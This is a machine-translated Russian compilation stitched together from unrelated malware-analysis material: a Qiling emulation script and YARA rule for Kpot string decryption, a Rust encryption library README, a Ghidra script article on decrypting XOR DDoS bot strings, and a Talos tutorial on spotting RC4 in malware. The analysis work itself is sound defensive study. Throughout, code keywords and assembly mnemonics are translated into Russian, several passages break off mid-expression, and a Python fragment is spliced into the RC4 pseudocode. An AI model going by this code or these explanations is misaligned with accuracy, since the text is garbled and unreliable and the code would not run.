    ql.hook_address (extract_eax, 0x40567c)
    
    для ключа (enc_str, enc_str_addr) в буфере:
        ключ = байты (ключ)
        enc_str = байты (enc_str.bytes)
        
        # обратный адрес
        рет = ql.stack_pop()
        
        ### аргументы функций push ####
        # 3-й аргумент: длина enc_str, int
        ql.stack_push(len(enc_str))
        
        # 2-й аргумент: enc_string, байт
        ptr = ql.os.heap.alloc(len(enc_str))
        ql.mem.write(ptr, enc_str)
        ql.stack_push(ptr)
        
        # 1 arg: ключ расшифровки, байт
        ptr = ql.os.heap.alloc (длина (ключ))
        ql.mem.write(указатель, ключ)
        ql. stack_push(ptr)
        
        # наконец, вставьте адрес возврата,
        ql.stack_push (возврат)
        # раскрыть объект `ql`, содержащий начальный адрес
        # (который будет использоваться в Ghidra)
        # расшифрованная строка
        кл.enc_str_add = enc_str_addr

        ql.run (начало = start_decryption_function, end = end_decryption_function)

эмулятор()  

Ниже показано, как выглядит листинг Ghidra после обновления меток с помощью приведенного выше скрипта.

Последнее замечание: в примере адреса start и end целевой функции были жестко закодированы, но все можно реализовать более динамически , используя правило YARA для отслеживания функции, что-то вроде ниже

  правило kpotv1_decrypt_strings_function
{
    мета:
        автор = "_raw_data_"
        тлп = "БЕЛЫЙ"

        Версия = "1.0"
        создан = "2020-04-13"
        изменен = "2020-04-13"

        description = "Процедура расшифровки строки Kpotv1"

        ссылка = "https://raw-data. gitlab.io/post/kpotv1/"

строки:
        $dec_str_fun = { 5? 8б ?? 5? 5? 5? 8b 75 10 8d 46 01 57 50 e8 ?? ?? ?? ?? 33 дб 59 8б f8 85 f6 74 ?? 8b 45 08 2b c7 89 45 fc 8b 4d 0c 8d 34 3b e8 ?? ?? ?? ?? 8b c8 33 d2 8b c3 f7 f1 8b 45 0c 8b 4d fc 8a 04 02 32 04 31 43 88 06 3b 5d 10 72 ?? 8b 75 10 c6 44 37 ff 00 8d 4? }

состояние:
$dec_str_fun
}  

Отсюда вычисление адресов max и min внутри функции становится тривиальным и может быть реализовано с помощью фрагмента, подобного этому

  fn = getFunctionContaining("АДРЕС-ПАМЯТИ-ГДЕ-YARA-ВОЗВРАТ-Совпадение")

# получить расположение первой инструкции внутри функции
start_decryption_function = fn.получитьтело().получитьминимальныйадрес()

# получить расположение последней инструкции внутри функции
end_decryption_function = fn.getBody().getMaxAddress()  

crypter — криптобиблиотека Rust // Lib.rs

Крэйт для шифрования предоставляет Rust и FFI для шифрования и дешифрования с использованием 256-битного AES-GCM.

Чтобы включить API C, должна быть включена функция ffi . Чтобы включить WASM API, должна быть включена функция wasm . См. примеры работающих приложений FFI.

Примеры

  пропустить = "суперсекрет";
let payload = "мега сверхбезопасная полезная нагрузка";

пусть зашифровано = crypter::encrypt(pass.as_bytes(), payload.as_bytes()).expect("Не удалось зашифровать");
let decrypted = crypter::decrypt(pass.as_bytes(), &encrypted).expect("Не удалось расшифровать");
println!("{}", String::from_utf8(decrypted).expect("Недопустимая расшифрованная строка"));
  

Примеры FFI

пример C: example.c

  #include 
#включить <строка.ч>

#include 

интервал основной () {
  const char *pass = "суперсекрет";
  const char *payload = "мега сверхбезопасная полезная нагрузка";

  CrypterCSlice pass_slice = {.ptr = (const unsigned char *)pass,
                              .len = strlen(пройти)};

  CrypterRustSlice зашифрован = crypter_encrypt(
      pass_slice, (CrypterCSlice){. ptr = (const unsigned char *)полезная нагрузка,
                                  .len = strlen(полезная нагрузка)});

  CrypterCSlice encoding_slice = {.ptr = зашифровано.ptr, .len = зашифровано.лен};

  CrypterRustSlice decrypted = crypter_decrypt(pass_slice, зашифрованный_slice);

  если (decrypted.ptr) {
    for (int i = 0; i < decrypted.len; i++) {
      если (decrypted.ptr[i] == 0) {
        путчар('0');
      } еще {
        putchar(decrypted.ptr[i]);
      }
    }
    путчар('\n');
  } еще {
    ставит("Нулевой возврат");
  }

  crypter_free_slice (зашифровано);
  crypter_free_slice (расшифровано);
}
  

Пример Lua: example.lua

  местный ffi = требуется ('ffi')

ффи.cdef[[
  typedef struct Slice { uint8_t * ptr; длина size_t; } Кусочек;
  typedef struct RustSlice { uint8_t * ptr; длина size_t; размер_t вместимость; } РастСлайс;

  RustSlice crypter_encrypt(struct Slice pass, struct Slice payload);
  RustSlice crypter_decrypt(struct Slice pass, struct Slice payload);
]]

локальная функция slice_from_str(текст)
  локальный срез = ffi. new('Срез')

  slice.ptr = ffi.cast('uint8_t *', текст)
  slice.len = строка.len(текст)
  возвратный срез
конец

локальная функция relax_rust_slice(rust_slice)
  локальный срез = ffi.новый('Срез')

  slice.ptr = rust_slice.ptr
  slice.len = rust_slice.len
  возвратный срез
конец

шифровальщик = ffi.load('шифровальщик')

локальный проход = slice_from_str('суперсекрет')
локальный зашифрованный = crypter.crypter_encrypt (pass, slice_from_str («мега сверхбезопасная полезная нагрузка»))
локальный расшифрованный = crypter.crypter_decrypt (проход, relax_rust_slice (зашифрованный))

если decrypted.ptr ~= nil, то
  print(ffi.string(decrypted.ptr, decrypted.len))
еще
  print('Неудачная поездка')
конец
  

Пример WASM: index.html

  

  <голова>
    
    шифровальщик
  
  <тело>
    <тип сценария="модуль">
      импортировать инициализацию из "./crypter. js";

      init("./crypter_bg.wasm").then(() => {
        const crypter = импорт('./crypter.js')
        crypter.then (c => {
          константный кодировщик = новый TextEncoder();
          const pass = encoder.encode('supersecret');
          const зашифрован = c.encrypt(pass, encoder.encode('мега сверхбезопасная полезная нагрузка'));
          const decrypted = c.decrypt (проход, зашифрованный);
          console.log('Зашифровано: ', новый TextDecoder().decode(расшифровано));
        });
      });
    
  

  

Скрипт Ghidra для расшифровки строкового массива в XOR DDoS — Макс Керстен

Эта статья была опубликована 25 июля 2021 года.Эта статья была обновлена ​​8 декабря 2021 года.

Бот XOR DDoS, файл ELF для дистрибутивов Linux, используется для выполнения DDoS-атак. Эта статья посвящена довольно небольшому сегменту семейства вредоносных программ: внутренне используемому массиву зашифрованных строк и его расшифровке. В этой статье мы углубимся в массивы, цикл дешифрования, процедуру дешифрования и создание скрипта Ghidra на Java для автоматизации этого процесса.

Содержание

Образец можно загрузить с VirusBay, Malware Bazaar или MalShare.Хэши приведены ниже.

MD5: 349456ecaa1380a142f15810a8260378
SHA-1: 02dd15ecdeedefd7a2f82ba0df38703a74489af3
SHA-256: 0f00c2e074c6284c556040012ef23357853ccac4ad1373d1dea683562dc24bca
Размер: 625889 байт
 

Анализ в этой статье был выполнен с помощью самодельной версии Ghidra. Используемые источники относятся к первому июня 2021 года. Используемый цикл for, показанный далее в этой статье, отображается как цикл while в более ранних версиях Ghidra.В остальном существенных изменений между версиями нет. При анализе файла использовались все параметры анализа.

Массивы, вне зависимости от типа, устроены одинаково. Первый элемент, который находится в нулевом индексе, отмечает начало массива, за ним следуют другие элементы, если они есть. Чтобы получить элемент для заданного индекса, размер каждого элемента умножается на номер индекса, который затем добавляется к адресу первого элемента. Код ниже представляет собой пример в псевдокоде, где T — это тип элемента.

 long elementAddress = arrayBase + (sizeof(T) * i); 

При работе со строками длина может быть переменной, поскольку не все строки имеют одинаковую длину. В некоторых случаях используются строки с фиксированной длиной, при этом используется больше памяти, чем требуется, но упрощается поиск элемента по заданному индексу. Кроме того, длину строки можно вычислить с помощью strlen, которая затем используется вместо функции sizeof. Это требует больше циклов ЦП, так как необходимо вычислить длину строки, но использует меньше памяти.

Данный образец содержит символы, облегчающие анализ. Основная функция уже называется main и содержит цикл расшифровки массива строк по адресу 0804d12a . Полный ассемблерный код цикла приведен ниже.

 MOV dword ptr [EBP + local_3c], 0x0
СПМ LAB_0804d12e
 LAB_0804d108
MOV EDX, dword ptr [EBP + local_3c]
ДВИГАТЕЛЬ EAX,EDX
ШЛ EAX,0x2
ДОБАВИТЬ EAX,EDX
ШЛ EAX,0x2
ДОБАВИТЬ EAX,имя демона
Указатель двойного слова MOV [ESP + local_3dec], 0x14
Параметр двойного слова MOV [ESP]=>local_3df0,EAX
ЗВОНИТЕ encrypt_code
ДОБАВИТЬ указатель двойного слова [EBP + local_3c], 0x1
 LAB_0804d12e
Параметр двойного слова CMP [EBP + local_3c], 0x16
JBE LAB_0804d108 

Цикл, как и большинство циклов на ассемблере, начинается с инициализации переменной для хранения числа.Программисты обычно называют эту переменную i . В этом случае Ghidra называет переменную local_3c . Схема именования Гидры основана на местоположении. Затем делается прыжок вниз, где значение local_3c сравнивается с 0x16 или 22 в десятичном виде. Если значение local_3c меньше или равно, выполняется переход вверх. Две метки, LAB_0804d108 и LAB_0804d12e , можно переименовать в loop_body и loop_compare соответственно для повышения удобочитаемости. Переменная local_3c может быть переименована в i для дальнейшего уточнения.

Чтобы понять тело цикла, каждая инструкция будет объяснена ниже в обычном пошаговом порядке. Сначала значение i , которое находится по адресу EBP + i , перемещается в EDX , после чего оно также перемещается в EAX .

 MOV EDX, dword ptr [EBP + i]
ДВИГАТЕЛЬ EAX,EDX 

Далее значение в EAX сдвигается влево на два бита.Сдвиг влево N равен двум в степени N . В данном случае это означает, что EAX умножается на четыре.

Значение i затем добавляется к EAX , после чего снова умножается на четыре.

Переменная с именем daemonname относится к массиву строк, хотя Ghidra не распознает тип из-за того, что он содержит зашифрованные строки. Затем к EAX добавляется базовый адрес массива.

Короче говоря, EAX содержит базовый адрес массива и смещение, основанное на i .

Следующие три инструкции помещают в стек два аргумента, после чего вызывается функция расшифровки (с именем encrypt_code ). Первый аргумент, так как они считываются со стека в обратном порядке, равен EAX , который содержит адрес текущего элемента. Второй аргумент равен 0x14 или 20 в десятичном виде.Таким образом, становится очевидным, что этот массив строк основан на строках фиксированной длины, хотя это не означает, что каждая строка имеет размер 20 байт. Вместо этого длина каждой строки находится в диапазоне от 0 до 19, учитывая, что каждая строка заканчивается нулевым байтом.

 MOV dword ptr [ESP + local_3dec], 0x14
Параметр двойного слова MOV [ESP]=>local_3df0,EAX
ЗВОНИТЕ encrypt_code 

Наконец, значение i увеличивается на единицу.

 ДОБАВИТЬ двойное слово ptr [EBP + i], 0x1 

Расчет смещения следующего элемента можно упростить следующим образом.

 для (int i = 0; i <= 0x16; i++)
{
результат = я;
результат = результат * 4;
результат += я;
результат = результат * 4;
System. out.println(результат);
} 

Упрощенно можно переписать вышеприведенный код следующим образом.

 для (int i = 0; i <= 0x16; i++)
{
результат int = ((i * 4) + i) * 4;
System.out.println(результат);
} 

Поскольку умножение — это то же самое, что многократное сложение, можно еще больше упростить формулу. Сначала i умножается на четыре, после чего прибавляется i .Это можно упростить, заявив, что i умножается на пять. Результат этого умножается на четыре. Таким образом, исходное значение умножается на четыре, а затем умножается на пять. Всего i умножается на (четыре раза по пять) двадцать. Код ниже показывает упрощение в несколько шагов.

 ((i * 4) + i) * 4;
(я * 5) * 4
я * 20 

Вероятной причиной того, почему код выглядит так, является эффективность инструкций сдвига по сравнению с инструкциями умножения.Компилятор, вероятно, решил заменить одно умножение менее ресурсоемкими инструкциями.

Глядя на основную функцию в декомпиляторе Ghidra, можно найти цикл расшифровки строкового массива в строках 100, 101 и 102. xorkeys[local_c % 0x10]; местный_10 = местный_10 + 1; } вернуть параметр_1; }

Первый аргумент (с именем param_1 ) можно переименовать в input , а второй аргумент (с именем param_2 ) можно переименовать в length .xorkeys[i% 0x10]; inputCopy = inputCopy + 1; } возврат ввода; }

Переменная xorkeys является строкой, хотя Ghidra не распознает ее как таковую. Изменение типа с использованием T в качестве горячей клавиши в представлении разборки отобразит его содержимое. В качестве альтернативы можно также получить необработанное значение байтов. Ключ равен BB2FA36AAA9541F0 .

При переписывании функции расшифровки на Java необходимо учитывать еще один момент.Строки в C заканчиваются нулевым байтом, но при использовании массива байтов для создания строки в Java этот байт следует опустить. Поскольку не все строки имеют заданную длину, необходимо включить проверку, чтобы разорвать цикл при обнаружении нулевого байта. При разрыве цикла байты, которые были расшифрованы до сих пор, должны использоваться для создания новой строки. Воссозданная функция приведена ниже.

 приватная строка дешифровать (байт [] ввод, символ char [] ключ) {
  byte[] output = новый байт[input.length];

  for (int i = 0; i < input.ключ[i% 0x10]);
  }
  вернуть новую строку (выход);
} 

Обратите внимание, что ключ передается функции в качестве аргумента, так как это пригодится при создании скрипта. Передавая значение в качестве аргумента функции, можно хранить все переменные в одном месте внутри скрипта.

Сам сценарий использует функцию расшифровки, созданную на предыдущем шаге. Чтобы расшифровать массив строк, сначала необходимо инициализировать несколько переменных. Ключ расшифровки , как того требует функция расшифровки, а также расположение массива (определяется как arrayBase ), размер одного элемента (определяется как elementSize ) и количество элементов массив (определяется как arraySize ).

 char[] key = "BB2FA36AAA9541F0".toCharArray();
целая база_массива = 0x080cf1c0;
инт размер элемента = 0x14;
интервальный размер массива = 0x17; 

Чтобы получить значение каждого элемента, необходимо умножить количество циклов на предопределенный размер элемента, после чего добавляется базовый адрес массива. Чтобы получить данные из выборки, можно использовать функцию getBytes, которая требует Address, чтобы знать, откуда начать чтение байтов, и целое число, чтобы знать, сколько байтов должно быть прочитано.Чтобы преобразовать целое, длинное или строку в объект Address, необходимо использовать функцию toAddr.

Полученные байты расшифровываются функцией расшифровки вместе с ключом расшифровки. Затем результат выводится на консоль Ghidra.

 попробовать {
  for (int i = 0; i < arraySize; i++) {
int offset = i * elementSize;
int location = arrayBase + смещение;
byte[] input = getBytes(toAddr(location), elementSize);
Расшифрованная строка = расшифровать (ввод, ключ);
println (расшифровано);
  }
} поймать (MemoryAccessException e) {
  е. распечатать трассировку стека();
  println("\nПроизошло исключение доступа к памяти, пожалуйста, обратитесь к трассировке стека выше для получения дополнительной информации");
} 

В случае ошибки с функцией getBytes выдается исключение MemoryAccessException . На изображении ниже показан вывод скрипта после завершения его выполнения.

Расшифровка содержимого из образца дает гораздо больше информации о том, что делает образец, особенно потому, что эти строки скрыты по какой-то причине.В некоторых случаях боты в одном семействе повторно используют ключ шифрования. Если ключ меняется, его легко заменить в сценарии или использовать диалоговое окно в сценарии, которое запрашивает ключ после выполнения.

Понимание того, как легко получить доступ к переменным и памяти в сценарии в Ghidra, полезно при анализе любого образца. Учитывая, что некоторые сегменты кода легко использовать повторно, полезно создавать сценарии, состоящие из функций, которые легко использовать повторно.

Полный скрипт, включая документацию, приведен ниже.Обратите внимание на жестко закодированный ключ, длину элемента и длину массива. Дополнительную информацию о том, как избежать жесткого кодирования значений в скрипте, можно найти в статье скрипта расшифровки строк Amadey.

 //Этот скрипт используется для расшифровки массива строк в боте XOR DDoS. Обратите внимание, что расположение массива, размер элемента и размер массива жестко запрограммированы в скрипте.
//@автор Макс 'Libra' Керстен (https://maxkersten.nl, @Libranalysis)
// расшифровка строкового массива @category
//@keybinding
//@менупуть
//@панель инструментов

импортировать гидру.приложение.скрипт.GhidraScript;
импорт ghidra.program.model.mem.MemoryAccessException;

открытый класс xorddos_array_decryption расширяет GhidraScript {

  /**
   * Эта функция вызывается Ghidra, так как это вход в скрипт
   */
  @Override
  protected void run() выдает Exception {
    //Жестко запрограммированный ключ дешифрования работает для многих образцов, но этот скрипт основан на 0f00c2e074c6284c556040012ef23357853ccac4ad1373d1dea683562dc24bca
    ключ char[] = "BB2FA36AAA9541F0". toCharArray();
    //Расположение базового адреса массива, который находится в индексе 0
    целая база_массива = 0x080cf1c0;
    //Размер каждого элемента в массиве
    инт размер элемента = 0x14;
    //Количество элементов в массиве
    интервальный размер массива = 0x17;
    пытаться {
      //Поскольку ассемблерный код использует инструкцию Jump Below или Equal для сравнения i с 0x16, циклу необходимо повторить 0x17 раз, чтобы охватить весь массив
      for (int i = 0; i < arraySize; i++) {
        // Объявить смещение от основания массива (имеется в виду размер каждого элемента, умноженный на выбранный элемент)
        int offset = i * elementSize;
        // Объявить местоположение в программе
        int location = arrayBase + смещение;
        //Получить байты для одного элемента в заданном месте
        byte[] input = getBytes(toAddr(location), elementSize);
        //Расшифровать данные с помощью заданного ключа
        Расшифрованная строка = расшифровать (ввод, ключ);
        // Печатаем расшифрованную строку
        println (расшифровано);
      }
    } поймать (MemoryAccessException e) {
      // Распечатать трассировку стека и указать, что произошла ошибка
      е. распечатать трассировку стека();
      println("\nПроизошло исключение доступа к памяти, пожалуйста, обратитесь к трассировке стека выше для получения дополнительной информации");
    }
  }

  /**
   * Расшифровывает заданный ввод с помощью заданного ключа и возвращает новую строку с расшифрованным содержимым.
   * @param введите данные для расшифровки
   * @param key ключ для расшифровки данного ввода
   * @вернуть расшифрованный ввод в виде строки
   */
  расшифровка частной строки (байт [] ввод, символ char [] ключ) {
    //Создаем новый массив байтов для хранения расшифрованных данных в
    байт [] вывод = новый байт [вход.ключ[i% 0x10]);
    }
    //После разрыва цикла или завершения всех итераций возвращается новая строка
    вернуть новую строку (выход);
  }
} 

Чтобы связаться со мной, вы можете написать мне по электронной почте [info][at][maxkersten][dot][nl], отправить мне личное сообщение на Reddit или написать мне в Twitter @Libranalysis.

Cisco Talos Intelligence Group — комплексная аналитика угроз: введение в распознавание и декодирование шифрования RC4 во вредоносных программах

Есть кое-что, с чем мы сталкиваемся почти ежедневно, когда анализируем вредоносное ПО в VRT: RC4. Недавно мы столкнулись с CVE-2014-1776, и, как и многие образцы вредоносных программ и эксплойтов, которые мы анализируем, RC4 используется для сокрытия или шифрования того, что он на самом деле делает. Есть много способов реализовать RC4, и это очень простой небольшой алгоритм. Это делает его очень распространенным в дикой природе и в различных стандартных приложениях. Реализации C с открытым исходным кодом можно найти на нескольких веб-сайтах, таких как Apple.com и OpenSSL.org.

Что такое RC4?


RC4 был разработан Роном Ривестом из RSA Security в 1987 году. RC4 — это быстрый и простой потоковый шифр, который использует алгоритм генерации псевдослучайных чисел для генерации потока ключей.Этот ключевой поток можно использовать в операции XOR с открытым текстом для генерации зашифрованного текста. Затем тот же ключевой поток можно использовать в операции XOR против зашифрованного текста для создания исходного открытого текста.

Несмотря на то, что RC4 по-прежнему распространен среди вредоносных программ, он был законно реализован в ряде областей, где важны скорость и конфиденциальность. В прошлом и WEP, и TLS использовали RC4 для защиты данных, отправляемых по сети. Однако прошлой осенью Microsoft рекомендовала клиентам отключить RC4, включив TLS1.2 и AES-GCM.

Для получения дополнительной информации, включая подробную историю RC4, ознакомьтесь со статьей Википедии.

Почему он используется в вредоносных программах?


Мы все чаще обнаруживаем, что RC4 используется для кодирования данных, которые отправляются на удаленный сервер для расшифровки на другой стороне с использованием предварительного общего ключа. Это делает обнаружение немного сложнее (но не невозможным), а также затрудняет точное определение того, что передается по сети. Что мы обычно делаем, когда думаем, что столкнулись с каким-то шифрованием, так это определяем его источник и являются ли отправляемые данные статическими (для сопоставления) и что именно представляют собой эти данные.

Как это работает?


*Примечание. В этих примерах я буду использовать вариант угонщика поисковой системы Coremex (MD5: 70E2090D5DEE18F3E45D38BF254EFF87) после того, как он возобновил свой приостановленный дочерний процесс.

RC4 реализуется в два основных этапа:

1. Алгоритм планирования ключей выполняется с использованием симметричного ключа для создания массива из 256 байтов (0x100h).

2. Затем этот массив используется в алгоритме генерации псевдослучайных чисел для создания потока шифрования, который можно декодировать с использованием того же ключа.

Многие книги и интернет-статьи представляют Алгоритм планирования ключей (KSA) со следующим псевдокодом:

  1
2
3
4
5
6
7
8
  
  для ключа (enc_str, enc_str_start_address) в буфере:
    ключ = байты (ключ)
    enc_str = байты (enc_str. байты)
    печать (ключ, enc_str, len (enc_str))

    # b'kP":E\x7f|f:V' b'GYYUIRGT0RO3QOE1SSBRTSPV9\x00' 26
    # b"\x1a\x18t'VB!?%6Cd\x14>9/]9D\x15\x04=DC\\*5\x15UJ* ,8i" b'8D9N50NLJP78CWWK2N7IGH619DAC08YICVK\x00' 36  

для я от 0 до 255

С [я] := я

конецдля


Дж := 0

для я от 0 до 255

j := (j + S[i] + key[i mod keylength]) mod 256

поменять местами значения S[i] и S[j]

конецдля


Чтобы лучше понять, как работает алгоритм, разделите его на несколько разделов.

Раздел 1:

Создание и инициализация поля подстановки

для я от 0 до 255

С [я] := я

конецдля


В этом разделе создается массив (или «SBox»/поле подстановки), где каждое значение соответствует своей позиции в массиве от 0 до 255 (0x00-0xFF), это также известно как перестановка идентификатора:


Это начальное создание таблицы является ключевым показателем при поиске этого типа шифрования в образцах вредоносных программ. Для этого примера KSA RC4 был инициализирован с помощью следующего цикла в ассемблере x86:

100020E5 xor eax, eax     ; Инициализировать счетчик до 0

цикл:

100020E7                    ; Дайте каждому индексу массива его значение идентификатора

.

100020E7 mov [eax+ecx], al ; используя EAX в качестве счетчика/значения:

100020E7                    ; S[0] = 0x00 ... S[256] = 0xFF

100020EA вкл.          ; Увеличить счетчик на 1

100020EB cmp eax, 100h    ; Сравните значение счетчика с 256 (0x100h) // ЗАМЕТИТЕ 100h!

100020F0 jl короткая петля; Цикл вокруг, если счетчик < 256

Обратите внимание, что инструкция по адресу 0x100020EB 100h — отличное значение для поиска двоичного файла в дизассемблере, таком как IDA Pro.Поиск инструкции, которая сравнивает регистр с 100h, часто может указать вам правильное направление, особенно если вы заранее знаете, что вредоносное ПО использует RC4.



Глядя на дамп памяти, на который указывает [eax+ecx] после завершения этого цикла, вы можете увидеть только что построенный SBox, который выглядит так, как показано выше:

. _

0012FC10 60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F `abcdefghijklmno

0012FC20  70 71 72 73 74 75 76 77  78 79 7A 7B 7C 7D 7E 7F  pqrstuvwxyz{|}~.

0012FC30  80 81 82 83 84 85 86 87  88 89 8A 8B 8C 8D 8E 8F Ç.яааåçêëèïî.Ä.

0012FC40  90 91 92 93 94 95 96 97  98 99 9A 9B 9C 9D 9E 9F  .æÆôöòûùÿÖÜ¢£.Pƒ

0012FC50  A0 A1 A2 A3 A4 A5 A6 A7  A8 A9 AA AB AC AD AE AF áíóúñѪº¿¬¬½¼¡«»

0012FC60  B0 B1 B2 B3 B4 B5 B6 B7  B8 B9 BA BB BC BD BE BF ¦¦¦¦¦¦¦++¦¦++++++

0012FC70  C0 C1 C2 C3 C4 C5 C6 C7  C8 C9 CA CB CC CD CE CF  +--+-+¦¦++--¦-+-

0012FC80  D0 D1 D2 D3 D4 D5 D6 D7  D8 D9 DA DB DC DD DE DF  ---++++++++¦_¦¦¯

0012FC90  E0 E1 E2 E3 E4 E5 E6 E7  E8 E9 EA EB EC ED EE EF  aßGpSsµtFTOd8fen

0012FCA0  F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  =±==()÷˜°··vn²¦

Теперь, когда таблица инициализирована, пришло время зашифровать коробку.

Раздел 2:

Зашифровать SBox с ключом «0006» (ASCII 0x30303036)

Дж := 0

для я от 0 до 255

j := (j + S[i] + key[i mod keylength]) mod 256

поменять местами значения S[i] и S[j]

конецдля


Эта процедура берет инициализированную таблицу и выполняет различные замены байтов в таблице, используя ключ и его длину (длина ключей может варьироваться от 1 до> 255 байт).Вот как этот образец реализовал эту процедуру. Обратите внимание, что точные инструкции по сборке будут различаться в зависимости от компилятора, платформы и языка.

100020F4 цикл:               ; ЕСХ = S[0] | ЭОД = j

100020F4 mov    eax, esi         ; Инициализировать EAX

100020F6 cdq                        ; EAX -> EDX:EAX (со знаком)

100020F7 idiv   [esp+0Ch+keylen]         ; EDX = мод кейлен

100020FB mov    bl, [esi+ecx]        ; БЛ = С[i]

100020FE mov    eax, [esp+0Ch+key]   ; ЕАХ = ключ

10002102 movzx  eax, byte ptr [edx+eax] ; EAX = ключ [i mod keylen]

10002106 добавить    eax, edi                 ; EAX = (j + key[i mod keylen])

10002108 movzx  edx, bl             ; EDX = S[i]

1000210B add    edx, eax                 ; EDX = (j + S[i] + key[i mod keylen])

1000210D и    edx, 0FFh                ; Еще способ мод 255

10002113 mov    edi, edx             ; j = (j + S[i] + key[i mod keylen])

10002115 mov    al, [edi+ecx]        ; AL = с[j]

10002118 mov    [esi+ecx], al    ; С[я] = С[j]

1000211B inc    esi                  ; я++

1000211C cmp    esi, 100h            ; Проверяем, если i < 256 // ОТМЕТЬТЕ 100h!

10002122 mov    [edi+ecx], bl        ; С[j] = С[i]

10002125 jl     короткая петля; Цикл, если меньше


В IDA Pro цикл SBox Scramble, следующий за циклом инициализации, может напоминать следующие основные блоки:


Вычисление вручную хотя бы первых нескольких байтов этого примера с помощью карандаша и листа бумаги поможет прояснить, как байты меняются местами для создания этого нового SBox:

Инициализированный SBox:



Для первого байта ключа «0006» ( Key[0] ) равно «0», помните, что это ASCII «0x30>»:

j := (j + S[i] + key[i mod keylength]) mod 256

поменять местами значения S[i] и S[j]

я = 0 // первый раунд

j = (j + S[i] + key[i mod keylength]) mod 0x100

= (0 + S[0x00] + key[0 mod 4]) mod 0x100

= (0 + 0 + клавиша [0]) мод 0x100

= (0 + 0x30) мод 0x100

= 0x30 мод 0x100

= 0x30

С[0x0] = 0x30

С[0x30] = 0x00


После перестановки байтов S[0x00] и S[0x30] результирующая таблица выглядит так:


Для второго байта ключа «0006» ( Key[1] ) также «0» или ASCII «0x30»:

я = 1 // второй раунд

j = (j + S[i] + key[i mod keylength]) mod 0x100

= (0x30 + S[0x01] + key[1 mod 4]) mod 0x100

= (0x30 + 1 + ключ [1]) мод 0x100

= (0x31 + 0x30) мод 0x100

= 0x61 мод 0x100

= 0x61

С[0x1] = 0x100

С[0x61] = 0x100

После перестановки байтов S[0x01] и S[0x61] результирующая таблица выглядит так:


Алгоритм продолжит выполнять этот расчет 256 раз. Обратите внимание, что эти значения будут по-прежнему выгружаться и даже будут заменять ранее замененные байты. Используя ключ «0006», образец вредоносного ПО создаст в стеке следующий SBox (я добавил соответствующие индексы массива SBox только для наглядности):


С[00] | 0012FBB0  18 8A 98 7B|16 35 F4 A8|C0 A5 53 94|D0 0D 87 90|

С[10] | 0012FBC0  2B 11 BA 26|08 25 C7 75|EB C6 83 D4|20 12 73 DB|

С[20] | 0012FBD0  1B 4E FF D3|EF 72 50 2E|B9 33 AF DC|6C C9 42 8C|

С[30] | 0012FBE0  BC 29 3A E8|EC 3B E7 54|44 F5 C3 3F|3C A9 32 17|

С[40] | 0012FBF0  59 60 DF 23|F0 6A B7 89|8B 43 7E C2|47 A3 37 A6|

С[50] | 0012FC00  34 A7 67 95|D8 B1 46 D9|56 28 A2 5B|7D 4C 41 7F|

С[60] | 0012FC10  5E AE 85 88|B2 9C 9B 0F|0A AB 8D 6E|ED 96 40 92|

С[70] | 0012FC20  45 1A F9 CE|B0 3E 9D 1D|68 1E E3 13|2A 51 D6 B4|

С[80] | 0012FC30  EE 58 D5 E1|D1 BB 39 4A|4F 15 07 B8|80 69 E4 FC|

С[90] | 0012FC40  5A 21 A1 1C|7C 9A 0E 5F|FD CB 02 B5|FA BD 57 86|

С[А0] | 0012FC50  E9 8E CA E5|5D 19 6F AA|4D CD 71 F2|BE 49 0B E2|

С[В0] | 0012FC60  F1 79 A0 D2|B6 DD F6 F8|2F E6 78 C1|52 CF 05 04|

С[С0] | 0012FC70  E0 6D 70 97|99 24 FE 06|4B 91 76 A4|B3 FB 63 09|

С[Д0] | 0012FC80  81 64 00 82|5C C5 EA 36|AD 03 C8 0C|1F 84 48 C4|

С[Е0] | 0012FC90  74 31 01 55|62 66 8F 9F|38 61 F7 BF|27 7A 22 AC|

С[Ф0] | 0012FCA0  9E 65 77 F3|6B 2C DE DA|30 14 3D CC|2D 93 D7 10|

Раздел 3:

Создание ключевого потока и кодирование данных

я := 0

Дж := 0

для x от 0 до len(открытый текст)

я := (я + 1) модуль 256

j := (j + S[i]) по модулю 256

поменять местами значения S[i] и S[j]

K := S[(S[i] + S[j]) mod 256]

вывод K ^ открытый текст [x]

конецдля



Следующим шагом будет использование вновь созданного SBox для кодирования данных. Это делается путем создания ключевого потока с использованием SBox и этого алгоритма. Результат K затем используется в операции XOR с каждым байтом открытого текста для создания зашифрованных данных.

Эта подпрограмма берет измененный SBox и снова выполняет различные замены байтов в таблице. Затем он использует эту информацию для генерации ключевого потока (K). Этот поток подвергается операции XOR с открытым текстом до тех пор, пока весь открытый текст не будет закодирован. Если длина открытого текста превышает длину ключевого потока, поток начинается с K[0].Вот как этот пример реализовал подпрограмму:

Обратите внимание, что в этом примере использовалась следующая структура (другие реализации могут использовать u_char для индексов) для хранения SBox и его двух счетчиков:

структура rc4_state

{

u_char перм[256]; // SBox

__int32 индекс1; // я

__int32 индекс2; // j

};

Этот образец кодирует различные данные о машине-жертве и отправляет данные, закодированные с помощью этого потока RC4, на свой сервер управления и контроля. Этот раздел вредоносной программы просто кодирует хэш одного из моих системных файлов. Исходный хеш, который он кодирует: EA497F6BD6555BA85127CE083A513BE8:

10002174 цикл:       

10002174 mov ecx, [ebp+68h+state.index1] ; ЕСХ = я

10002177 inc ecx                     ; я += 1

10002178 и ecx, esi             ; я = я мод 0x100

1000217A mov [ebp+68h+state.index1], ecx ; Магазин я

1000217D lea edx, [ebp+ecx+68h+state]     ; EDX = *S[i]

10002184 movzx     ecx, byte ptr [edx]     ; ЕСХ = S[i]

10002187 добавить ecx, [ebp+68h+state.индекс2]   ; ЕСХ = j + S[i]

1000218A и ecx, esi                 ; ECX = (j + S[i]) mod 0x100

1000218C mov [ebp+68h+state.index2], ecx ; j = (j + S[i]) mod 0x100

1000218F mov al, [ebp+ecx+68h+state.perm] ; AL = S[j]

10002196 movzx      ebx, byte ptr [edx]    ; EBX = S[i]

10002199 mov [edx], al                ; С[я] = С[j]

1000219B mov eax, [ebp+68h+state. index2] ; ЕАХ = j

1000219E mov [ebp+eax+68h+state.пермь], бл ; С[j] = С[i]

100021A5 mov eax, [ebp+68h+Plaintext]      ; EAX = Открытый текст

100021A8 mov edx, [ebp+68h+state.index1]    ; EDX = я

100021AB movzx     edx, [ebp+edx+68h+state.perm] ; EDX = S[i]

100021B3 lea ecx, [edi+eax] ; ECX = *Открытый текст[x]

100021B6 mov eax, [ebp+68h+state.index2] ; ЕАХ = j

